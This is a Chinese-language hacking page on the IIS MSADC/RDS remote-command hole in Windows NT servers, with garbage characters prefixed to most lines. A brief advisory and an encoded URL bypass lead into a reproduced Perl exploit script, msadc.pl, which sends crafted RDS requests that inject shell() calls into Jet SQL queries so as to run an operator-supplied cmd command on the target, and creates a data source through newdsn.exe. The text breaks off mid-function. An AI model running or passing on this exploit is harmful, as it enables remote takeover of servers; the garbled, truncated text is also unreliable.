IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/Bg6z m Wto@u4 涉及程序:
Uxj<x`<1x Microsoft NT server
~#HH;q_7m #;qFPj- v 描述:
WI*^+E&=* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}QX2:a 2XETQ; 9 详细:
CrRQPgl+u 如果你没有时间读详细内容的话,就删除:
*_2O*{V c:\Program Files\Common Files\System\Msadc\msadcs.dll
"/ a*[_sV 有关的安全问题就没有了。
_G-b L; t5X G^3X@ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
p[af[! !%Z)eO~Z 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
*<|~=*Ddf 关于利用ODBC远程漏洞的描述,请参看:
O&rD4# 6.`} &E http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [t"_}t =w .dg 4gr\D 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
VrnK)za*H http://www.microsoft.com/security/bulletins/MS99-025faq.asp )$9C` d[ s&_IWala 这里不再论述。
+[ZMrTW!0C d
@^o/w8 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
oneSgJ I;Z`!u:+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
[pRVZV 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
v
,G-k2$Qe 8vX*SrM *1ID`o #将下面这段保存为txt文件,然后: "perl -x 文件名"
Ul7pxzj O>b&-U"R #!perl
i SAidK, #
\U<F\i # MSADC/RDS 'usage' (aka exploit) script
k
Nf!j #
^t^<KL; # by rain.forest.puppy
fRv
S@ #
:)
Fp
B" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
O_s9 # beta test and find errors!
b Q9"GO<X Us@ {w`T use Socket; use Getopt::Std;
[X$|dOm'N getopts("e:vd:h:XR", \%args);
bz}AO))Hk xRTg
[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
l b1sV [6RV'7`Abj if (!defined $args{h} && !defined $args{R}) {
a?U%l 9F print qq~
_I
-0, Usage: msadc.pl -h <host> { -d <delay> -X -v }
>r4Y\"/j -h <host> = host you want to scan (ip or domain)
J 4'! -d <seconds> = delay between calls, default 1 second
k?|zIu -X = dump Index Server path table, if available
sGDrMAQt -v = verbose
S8W_$=4 -e = external dictionary file for step 5
DoCQFSL dZ]\1""#H Or a -R will resume a command session
mn6p s6OB v @I^:I ~; exit;}
1TD&&EC i-"h"nF" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gne#v if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
yw3U"/yw if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
tUAY]BJ*s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
pn_gq~5ng $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
aP6%OI if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z}b U\3! zOdasEd8! if (!defined $args{R}){ $ret = &has_msadc;
/O(;~1B die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
fB @pwmu 1!v >I"] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5@%=LPV . "cmd /c ";
4~pO>6P $in=<STDIN>; chomp $in;
/kviO@jm4( $command="cmd /c " . $in ;
$Zu4tuXA 7PQj7&m if (defined $args{R}) {&load; exit;}
R2H\;N wHN`-
5% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
B"E (Y M &try_btcustmr;
JY050FL ]K0,nj*\c print "\nStep 2: Trying to make our own DSN...";
-)->Jx:{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
pS|JDMo t&Y^W < print "\nStep 3: Trying known DSNs...";
V@+<,tjq &known_dsn;
dv4r\ R^ CsST-qxg print "\nStep 4: Trying known .mdbs...";
a\.O L}"
&known_mdb;
8`LLHX1| Dk{nOvZu< if (defined $args{e}){
"6Hjji@A print "\nStep 5: Trying dictionary of DSN names...";
m%$E[cUW! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
abk:_ [F>n!`8 print "Sorry Charley...maybe next time?\n";
{*=5qV} exit;
"d^lS@~ B=RKi\K6a ##############################################################################
/*R' xBr G3?a~n^b sub sendraw { # ripped and modded from whisker
s)7`r6w sleep($delay); # it's a DoS on the server! At least on mine...
B& f~.UH my ($pstr)=@_;
zKAyfn.A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GL0' :LsZ die("Socket problems\n");
{ G>+. if(connect(S,pack "SnA4x8",2,80,$target)){
Y @ ,e select(S); $|=1;
])ZJ1QL1 print $pstr; my @in=<S>;
h|/*yTuN.y select(STDOUT); close(S);
VT~
^:-] return @in;
cB])A57< } else { die("Can't connect...\n"); }}
QX~72X=( Hd@T8 D*A ##############################################################################
cJE>;a XkfUPbU sub make_header { # make the HTTP request
f.xSr! my $msadc=<<EOT
);.<Yf{c POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
qaSv]k. User-Agent: ACTIVEDATA
s].Cx4VQ Host: $ip
0#[Nfe* Content-Length: $clen
LF,c-Cv!jL Connection: Keep-Alive
;7og Mud\Q[" ADCClientVersion:01.06
WaO;hy~us Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Z YO/'YW _q!ck0_ --!ADM!ROX!YOUR!WORLD!
GMp'KEQQ Content-Type: application/x-varg
AxqTPx7`| Content-Length: $reqlen
%KVRiX 5>k~yaju/ EOT
|c+N)FB ; $msadc=~s/\n/\r\n/g;
P6Z,ci17 return $msadc;}
<h>fip3o "kuBjj2 ##############################################################################
W;x LuKIG
kd2'-9 sub make_req { # make the RDS request
[zt&8g my ($switch, $p1, $p2)=@_;
D
`3yv
R my $req=""; my $t1, $t2, $query, $dsn;
R8Ei:f} Ita!07 if ($switch==1){ # this is the btcustmr.mdb query
M(f*hOG{Y $query="Select * from Customers where City=" . make_shell();
/ z>8XM& $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
tp3N5I $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|`9zE] a{YVz\?d} elsif ($switch==2){ # this is general make table query
I)4|?tb? $query="create table AZZ (B int, C varchar(10))";
bX1! fa $dsn="$p1";}
#[rFep ZFw743G elsif ($switch==3){ # this is general exploit table query
@[N~;> $query="select * from AZZ where C=" . make_shell();
si4=C $dsn="$p1";}
w0>)y- [~H`9Ab= elsif ($switch==4){ # attempt to hork file info from index server
3mn-dKe(( $query="select path from scope()";
FQ&VM6_ $dsn="Provider=MSIDXS;";}
SxQDqoA~ ,UJPLj^ elsif ($switch==5){ # bad query
n7<-lQRaxZ $query="select";
Xpz-@fqKdf $dsn="$p1";}
JZ0+VB-3U !Dn1pjxc $t1= make_unicode($query);
|&*rSp2iH $t2= make_unicode($dsn);
\evgDZf $req = "\x02\x00\x03\x00";
;Cpm3at $req.= "\x08\x00" . pack ("S1", length($t1));
\nt'I;f $req.= "\x00\x00" . $t1 ;
WED7]2> $req.= "\x08\x00" . pack ("S1", length($t2));
Ho{?m^ $req.= "\x00\x00" . $t2 ;
lt2&uYgp $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-BH'.9uqGQ return $req;}
?O]gFn 9_^V1+
##############################################################################
78A4n C $w}aX0dK& sub make_shell { # this makes the shell() statement
ApB'O;5 return "'|shell(\"$command\")|'";}
m`6`a|Twp$ _'v )Fy ##############################################################################
V^H47O;VC 6EGEwx sub make_unicode { # quick little function to convert to unicode
3Jit2W4 my ($in)=@_; my $out;
Eu_0n6J for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
C/#/F#C return $out;}
:7]R2JP BU .G~0 ##############################################################################
M4]|(A 1Ee>pbd sub rdo_success { # checks for RDO return success (this is kludge)
ov}{UP]a? my (@in) = @_; my $base=content_start(@in);
l1j if($in[$base]=~/multipart\/mixed/){
Cf 8-% return 1 if( $in[$base+10]=~/^\x09\x00/ );}
J8[Xl. return 0;}
a .Vs>1 ITOGD ##############################################################################
P=i |{vv( l )eaIOyk sub make_dsn { # this makes a DSN for us
C!A_PQ2y my @drives=("c","d","e","f");
6!V* :.( print "\nMaking DSN: ";
jF0BWPL foreach $drive (@drives) {
~#xRoBy3 print "$drive: ";
RozsRt;i my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2^j9m}` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
U4/$4.'NQ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`OK
}q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p`ZGV97 return 0 if $2 eq "404"; # not found/doesn't exist
p#I1l2nE if($2 eq "200") {
X> KsbOZ foreach $line (@results) {
3@A k6Uh return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
T{Q&